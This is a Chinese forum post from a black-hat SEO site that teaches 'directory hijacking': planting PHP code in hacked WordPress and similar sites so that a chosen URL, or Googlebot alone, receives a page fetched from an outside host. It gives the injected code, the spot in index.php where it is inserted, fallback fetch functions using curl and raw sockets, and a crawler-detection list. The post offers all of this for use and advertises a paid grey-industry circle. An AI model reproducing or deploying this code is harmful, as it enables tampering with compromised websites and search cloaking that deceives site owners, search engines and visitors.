黑帽SEO-简单的黑页目录劫持的实现原理

admin   ·   发表于 2018-6-18   ·   公众号文章


黑页目录劫持

嗯。最近比较忙,但是还是得照顾下群内成员,有不少人问,一些黑页指定目录的劫持是怎么做的。 这类是属于基本的黑帽SEO的脚本,当然,不懂程序或者PHP的是不会理解。 我当时随便就发了这么一个帖子。

主要还是利用$_SERVER['REQUEST_URI']这个函数。 但是呢,还是有人问我,为什么这些目录的SHELL找不到。

简单的黑页目录劫持的实现原理 – 互联网赚钱之道 - 专注互联网赚钱行业,黑产灰产,黑帽白帽,Adsense,CPA等项目研究。

 郁闷的是,本想回答,是类似wordpress那些系统,通过伪静态,转发到index.php 然后顺着代码去判断就是。 不过想想,万一还有人问,我岂不是会被烦死,于是就有了这一篇。

下面我继续整理

代码究竟怎么用? 我们先看下简单的黑页代码


<?php error_reporting(0); if (ereg("Googlebot", $_SERVER["HTTP_USER_AGENT"])) {   $file = file_get_contents('xxx/xxx.html'); echo $file; exit; } ?>

没错,只是简单的判断google蜘蛛,然后获取页面输出。 我们结合REQUEST_URI进行判断一下。 架设我们的黑页html文件链接是这样http://www.davidsbridal.com/sale/sale-wedding-dresses那么就改成


<?php if($_SERVER['REQUEST_URI']==="/archives/1680") {  $file = file_get_contents('http://www.davidsbridal.com/sale/sale-wedding-dresses'); echo $file; exit; die;     } else {} ?>

我们另存为php文件,上传到shell上。 为了方便,我用自己的网站www.affadsense.com做为测试 传到网站的目录下,或者隐藏更深点,可以传子目录中去,甚至子目录的子目录中。

调用方法

很多人不会调用,那么来了,我们代码要发哪里? 我说过,顺着index.php一直找,反正放在头部执行的文件中就行了。 我们看下index.php的代码

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

我们可以调用到wp-blog-header.php 那么要么直接index.php代码加 效果如下

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/black.php' );//我们的php黑页代码
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

然后看下页面正常,然后我们打开我们要劫持的那个目录页

https://www.affadsense.com/archives/1680

就已经变成我们的页面了。 而正常的页面应该是这样

以上是基本的使用

我们可以基于以上,进行进一步的代码改造,比如加入蜘蛛的判断



<?php if($_SERVER['REQUEST_URI']==="/archives/1680"&&ereg("Googlebot", $_SERVER["HTTP_USER_AGENT"])) {  $file = file_get_contents('http://www.davidsbridal.com/sale/sale-wedding-dresses'); echo $file; exit; die;     } else {} ?>

这样,判断蜘蛛的基础上进行黑页的劫持。

万一file_get_contents 不行呢

PHP读取远程网页的方法有很多,curl_init,socket,等等 ,所以为了最好的兼容,建议是添加这些功能进去,然后进行判断调用。




function g_1($url) {    if (function_exists("file_get_contents") === false)        return false;    $buf = @file_get_contents($url);    if ($buf == "")        return false;    return $buf; } function g_2($url) {    if (function_exists("curl_init") === false)        return false;    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    curl_setopt($ch, CURLOPT_TIMEOUT, 10);    curl_setopt($ch, CURLOPT_HEADER, 0);    $res = curl_exec($ch);    curl_close($ch);    if ($res == "")        return false;    return $res; } function g_3($url) {    if (function_exists("file") === false)        return false;    $inc = @file($url);    $buf = @implode("", $inc);    if ($buf == "")        return false;    return $buf; } function g_4($url) {    if (function_exists("socket_create") === false)        return false;    $p    = @parse_url($url);    $host = $p["host"];    if (!isset($p["query"]))        $p["query"] = "";    $uri = $p["path"] . "?" . $p["query"];    $ip1 = @gethostbyname($host);    $ip2 = @long2ip(@ip2long($ip1));    if ($ip1 != $ip2)        return false;    $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);    if (!@socket_connect($sock, $ip1, 80)) {        @socket_close($sock);        return false;    }    $req = "GET $uri HTTP/1.0 ";    $req .= "Host: $host ";    socket_write($sock, $req);    $buf = "";    while ($t = socket_read($sock, 10000)) {        $buf .= $t;    }    @socket_close($sock);    if ($buf == "")        return false;    list($m, $buf) = explode(" ", $buf);    return $buf; } function gtd($url) {    $co = "";    $co = @g_1($url);    if ($co !== false)        return $co;    $co = @g_2($url);    if ($co !== false)        return $co;    $co = @g_3($url);    if ($co !== false)        return $co;    $co = @g_4($url);    if ($co !== false)        return $co;    return ""; }

批量黑页目录劫持

以上代码只是基础的一个单页面劫持,批量的话,又要指定目录,就需要array 功能去弄一堆页面,和对应的路径 然后去foreach循环判断

判断蜘蛛代码

代码比较简单

function isCrawler() { 
$agent= strtolower($_SERVER['HTTP_USER_AGENT']); 
if (!empty($agent)) { 
$spiderSite= array( 
"TencentTraveler", 
"Baiduspider+", 
"BaiduGame", 
"Googlebot", 
"msnbot", 
"Sosospider+", 
"Sogou web spider", 
"ia_archiver", 
"Yahoo! Slurp", 
"YoudaoBot", 
"Yahoo Slurp", 
"MSNBot", 
"Java (Often spam bot)", 
"BaiDuSpider", 
"Voila", 
"Yandex bot", 
"BSpider", 
"twiceler", 
"Sogou Spider", 
"Speedy Spider", 
"Google AdSense", 
"Heritrix", 
"Python-urllib", 
"Alexa (IA Archiver)", 
"Ask", 
"Exabot", 
"Custo", 
"OutfoxBot/YodaoBot", 
"yacy", 
"SurveyBot", 
"legs", 
"lwp-trivial", 
"Nutch", 
"StackRambler", 
"The web archive (IA Archiver)", 
"Perl tool", 
"MJ12bot", 
"Netcraft", 
"MSIECrawler", 
"WGet tools", 
"larbin", 
"Fish search", 
); 
foreach($spiderSite as $val) { 
$str = strtolower($val); 
if (strpos($agent, $str) !== false) { 
return true; 
} 
} 
} else { 
return false; 
} 
}

通过AGENT判断,当然,还有更准确的办法就是通过IP来判断,不过这里我就不添加了。 最后整理好的代码我会贴论坛上,当然,我只是蛮写,因为我目前跟小师妹做件事,也没空去找SHELL去测试,有能力的,或者有PHP的程序员的,整合好这样的思路去操作即可。

PHP千变万化

PHP千变万化,我要是说以上只是基础的,你们会有什么想法吗 当然,目录劫持使用场景主要以index.php或者索引的文件为主, 比如joomla,wordpress,magento,phpfox等等等,一切请求都以某个php文件为主的就行了 我们只要去这个文件,顺着代码一个一个找,在代码的头部中添加即可。 比如wordpress的伪静态规则这种一切请求,都以一个php为主的,都可以实现这种目的,当然,如果没有伪静态,我们可以自己写个伪静态规则去实现,这也是可以的。

就到这里了

对于大神来说,这是简单的,算是对小白的推送吧。 小师妹的公众号码字不易,您的转发和赞赏是我的一大动力之一。 欢迎关注我的公众号,请爱护我,不要抄袭我。欢迎加入我的论坛,与我们一起交流。 下面是加入小密圈/获取论坛邀请码购买渠道: 小密圈(入圈后私信圈主,看到会私信邀请码):其他获取方式: 支付宝:微信支付:

0 Reply   |  Until 2018-6-18 | 866 View
LoginCan Publish Content

HYBBS © 2016. All Rights Reserved. 老农民

Powered by HYBBS Version 2.3.2